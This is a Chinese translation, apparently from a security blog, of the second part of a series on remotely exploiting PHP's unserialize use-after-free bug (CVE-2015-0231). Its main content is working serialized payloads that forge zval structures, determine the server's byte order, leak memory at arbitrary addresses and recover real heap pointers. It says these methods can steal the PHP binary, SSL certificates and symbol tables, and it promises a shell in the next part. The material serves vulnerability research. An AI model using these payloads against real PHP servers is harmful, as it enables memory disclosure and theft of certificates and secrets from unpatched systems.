PHP中的内存破坏漏洞利用(CVE-2014-8142和CVE-2015-0231)(连载之第二篇)

Chuck 2015-02-28 10:41:00

0x00 前言


作者:Cigital公司的安全顾问Qsl1pknotp(Tim Michaud)

题目:Exploiting memory corruption bugs in PHP (CVE-2014-8142 and CVE-2015-0231) Part 2:Remote Exploitation

地址:http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in_23.html

上一部分中,我们找到了本地利用CVE-2014-8142和CVE-2015-0231的方法。在第二部分中,我们将进一步探讨漏洞的远程利用,并明确通过我们的方法到底能窃取到什么有用信息。本部分的研究是只针对CVE-2015-0231的,至于CVE-2014-8142的远程利用,其实读者完全可以根据第一部分中的概述,自己做一些修改来完成。

0x01 PHP中 “序列化”特性应用


上一部分中我们讲到,Esser给出的代码可以泄露一个攻击者不可控的地址的数据。代码如下:

<?php
$data ='O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';
$x = unserialize($data);
var_dump($x);
?>

source:StefanEsser_Original_LocalMemLeak.php

虽然上述代码是有用的,但是它没有达到我们期待的效果!我们想要的是远程泄露任意内存地址的数据,而不是基本上没什么作用的随机地址数据。为了做到这一点,我们需要找到一种方法来完成以下两个目标:

写任意数据(确保PHP不崩溃)

读任意数据(确保PHP不崩溃)

跟生活中的其他事情一样,一次只解决一个问题往往要容易一些。因此,我们首先从完成目标1开始做起。其实我们是可以做到写任何我们所需的数据的,因为发送的是自己的object对象。然而,我们需要的是找到方法来写有用的信息,如下是我们上一回中讲到的最后一个例子:

<?php

$fakezval = pack(
    'IIII',     //unsigned int
    0x08048000, //address to leak
    0x0000000f, //length of string
    0x00000000, //refcount
    0x00000006  //data type NULL=0,LONG=1,DOUBLE=2,BOOL=3,ARR=4,OBJ=5,STR=6,RES=7
);
//obj from original POC by @ion1c
$obj = 'O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}';
$obj=unserialize($obj);

for($i = 0; $i < 5; $i++) { //this i value is larger than usually required
    $v[$i]=$fakezval.$i; //repeat to overwrite
}
//due to the reference being overwritten by our loop above, leak memory
echo $obj->ccc;
?>

source:PHPLeak

这里我们把关注重点放在$fakezval变量上。有没有办法可以在序列化对象中远程写该zval?(提示:这是php的一个“特性” :D!) (顺便提醒下,千万不要像我一样的愚蠢而懒惰,一定要仔细地去读所有的代码。在找到这部分如此明显的代码之前,我就浪费了5、6个小时的时间。)

幸好,PHP中字符串有一个“序列化”特性。序列化字符串中的该特性允许我们序列化和反序列化二进制数据。让我们动手操作一个S对象,对序列化原理加深理解,并进一步学会如何利用该特性!

<?php
 
$data='a:1:{i:0;S:43:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC";}';
 
var_dump(serialize($data));
 
?>

source:SendBinaryData

接下来运行上述代码,我们可以看到一个奇怪结果:

其实这也没什么奇怪的,我们明显是程序中写错了些什么。为免大家捂脸悲叹,本人直接提示了,这个错误肯定跟我们的S对象有关,你可以一个一个地数下$data的字节数!是的,我也知道PHP的错误提示已经烂到了什么都不提示的地步了……

在正常化的序列化字符串中,例如s:3:”123”,整数3代表字符串包含的字符数。而在上面的代码中,我们用的S:43:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC"中也有一个整数(43),应该同样表示字符串的长度,对吗?

其实并非如此。我们这里想要的不是一个文字字符串,而是可以使PHP解释器按二进制数据来解析的二进制字符串,而这里的字符串也并非43个字节,而是17个字节。那么将43改为17试一下。

这下好了!那么为什么要用17呢?每一个\xx会被当做一个字符,这样我们的字符串中就有13个字符了,而“AAAA”会被当做正常的字符来解析,因此长度需要再加4。简言之,每一个\xx“三元组”被当做是一个字符。Ok,现在我们可以发送该字符串,但是我们该如何从解释器中获取想要信息呢?

在可以泄露任意地址之前,让我们一起再多学习下服务器本身,这会有助于我们写出更加可靠的利用程序(第三部分中详述)。作为练手,我们学习下如何确定服务器的字节顺序,这将需要使用一个伪装的整型zval结构。 想法还是一样的:

  • 创建一个整型数组
  • 释放掉刚创建的整型数组
  • 创建我们之前例子中的字符串
  • 指向我们之前释放掉的整型数组的引用地址

为什么要使用整型zval而不是一个string?我们回想一下zval数据结构,整型看起来将如下所示:

  • 我们来设置下整型的值

    00 01 00 00 小尾方式下表示0x100 大尾方式下表示0x1000

  • 将接下来的8个字节使用0x41填充

    41 41 41 41(或AAAA)

  • 接下来的8个字节是引用计数

    00 01 01 00

  • 最后的8个字节是01(代表整型类型),然后我们将剩下的字节填充为垃圾数

    01 00 bc cc

把上述的放在一起,就得到了“S”的值!那么如何通过上述的结构确定服务器的字节顺序呢?在服务器的响应中,如果返回0x100(256),就可以确定是小尾方式!如果返回的是65536,那么就是大尾方式!确定字节顺序的完整php代码如下:

<?php
 
$data='O:8:"stdClass":4:{';
$data.='s:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}';
$data.='s:3:"123";i:0;';
$data.='i:0;S:17:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC";';
$data.='i:1;r:12;}';
 
var_dump(serialize(unserialize($data)));
 
?>

source:determineEndianness

程序响应如下:

很好!现在我们已经能够确定服务器的字节顺序了!当然,我们真正想要的仍然是泄露任意数据。让我们接着往下走,既然已经能够泄露出我们所提供的数据了,那么是不是有可能泄露出任意地址的数据呢?

0x02 任意地址数据泄露


本篇文章并未就此结束,因而我们的答案当然是肯定的!不过,这次我们需要的不再是整型的zval结构,而是字符串型zval数据结构,结构如下:

  • 设置指向字符串数据的指针

    00 80 04 08

  • 设置我们想要获得的字符串长度(1024)

    00 04 00 00

  • 设置引用计数为非零

    00 01 01 00

  • 最后,设置数据类型为string型(06),其余字节设为垃圾数

    06 00 0b bc

我们的新脚本如下所示:

<?php
 
$data='O:8:"stdClass":4:{';
$data.='s:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}';
$data.='s:3:"123";i:0;';
$data.='i:0;S:16:"\00\80\04\08\00\04\00\00\00\01\01\00\06\00\0B\BC";';
$data.='i:1;r:12;}';
 
var_dump(serialize(unserialize($data)));
 
?>

source:leakDataAtAddress

运行后的结果如下:

好极了!我们现在已经可以dump出任意地址的数据了,当然也要知道地址才行,而这是不实际的。那么我们如何远程来提取地址呢?当然我们可以使用上一回中给出的代码来泄露地址,但是泄露出来的地址并未指向重要数据。有没有别的机制可以用来提取地址信息呢?

0x03 地址信息远程提取


值得庆幸的是,确实有办法来提取地址信息!看下面的代码:

<?php
 
$data='O:8:"stdClass":6:{';
$data.='s:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}';
$data.='s:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}';
$data.='s:3:"456";i:1;';
$data.='s:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:101;O:8:"stdclass":0:{}i:1;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:102;O:8:"stdclass":0:{}i:2;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:103;O:8:"stdclass":0:{}i:3;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:104;O:8:"stdclass":0:{}i:4;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:105;O:8:"stdclass":0:{}i:5;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:106;O:8:"stdclass":0:{}i:6;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:107;O:8:"stdclass":0:{}i:7;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:108;O:8:"stdclass":0:{}i:8;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:109;O:8:"stdclass":0:{}i:9;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";}';
$data.='s:3:"789";i:0;';
$data.='i:1;r:56;}';
$data=serialize(unserialize($data));
 
var_dump($data);
?>

source:leakLegitimateAddress

运行后如下所示:

这是个相当大的数组,需要分解来看。总体思路如下:

  • 创建整型数组#1 将会清空内存缓存

  • 创建整型数组#2 填入变量表

  • 释放掉数组#2 释放掉变量表中的每个节点

  • 创建一个混合了S对象的对象数组

  • 释放掉对象数组 见下面的解释

  • 指向已经释放掉并且又被覆盖了的数组#2中的一个整型值

  • 服务器的响应中包将含有价值的数据

释放掉对象数组后,数组中的前四个字节就会被内存缓存重写(因此该内存重新变为可写)。在这样做时,字符串指针(之前是0x41414141)现在就指向了之前被释放的内存对象。得到的地址太多,这里不一一列举了,但不管如何,我们得到了合法的内存地址! 但是我们需要的是哪个地址呢?我们要找的是显示有 “\x00\x00\x00\x00\x05\x00”的地址。这样的地址是一个对象句柄(数据段中的一个数据结构)地址。现在,我们可以读取整个对象句柄表,并获取PHP代码段中的信息(而这也正是我们感兴趣的地方,因为我们下一回想要做的就是弹出一个shell)

下面是查看PHP返回的16进制数据的命令:

cphp newLeak.php | xxd -ps | sed 's/[[:xdigit:]]\{2\}/\\x&/g'

执行命令,我们用grep查找“\x00\x00\x00\x00\x05\x00”,得到如下地址:

如果在GDB中加载运行,我们也可以看到这个地址实际上是指向我们对象句柄的一个指针。提醒:运行前别忘记下断点(我是在var_unserializer.c:337中设了一个)。

我们看到的如下所示:

在庆祝之前,让我们先确认下这些句柄指向的确实是有用的东西,就看第一个入口点吧:0x0830a640。下面是该地址存储的数据:

好极了!我们现在已经可以看到任何我们想要的数据了!

0x04 可窃取信息


总结一下,通过结合上述的这些方法,我们就可以获取到: 完整的PHP二进制可执行文件本身(包括其数据) SSL Certs(通过mod_ssl) PHP符号表 别的模块的地址(及其数据)

0x05 下一步研究


第三部分中,我们将探讨如何弹出一个Shell!该技术也可用于CVE-2015-0273,以及其他的PHP UAF漏洞利用中。

PS:第三部分的释出需要一点时间,因为要完成进一步的利用还需要对PHP做深入的研究(包括阅读一些资料),但是本人保证一定完成,绝不太监,敬请继续关注。

评论

D

do9gy 2015-02-28 14:35:39

勘误:
<?php
$data='a:1:{i:0;S:43:"0100AAAA011010B\BC\CC";}';
var_dump(serialize($data));
?>
应为:
<?php
$data='a:1:{i:0;S:43:"0100AAAA011010B\BC\CC";}';
var_dump(serialize(unserialize(($data)));
?>

C

Chuck 2015-02-28 15:37:25

感谢勘误。此处确实少了unserialize

Knight 2015-03-01 02:14:22

序列化居然可以这么玩。

小左 2015-03-03 11:05:49

测试的PHP版本多少?

C

Chuck 2015-03-03 12:06:41

你可以试一下php-5.4.34

路人甲 2015-12-15 09:49:19

第三部分还没出,是要太监了嘛

C

Chuck

病毒分析,二进制漏洞分析,Web安全都做一点,都不精通,向各位大牛学习!

twitter weibo github wechat

随机分类

企业安全 文章:40 篇
IoT安全 文章:29 篇
硬件与物联网 文章:40 篇
CTF 文章:62 篇
无线安全 文章:27 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录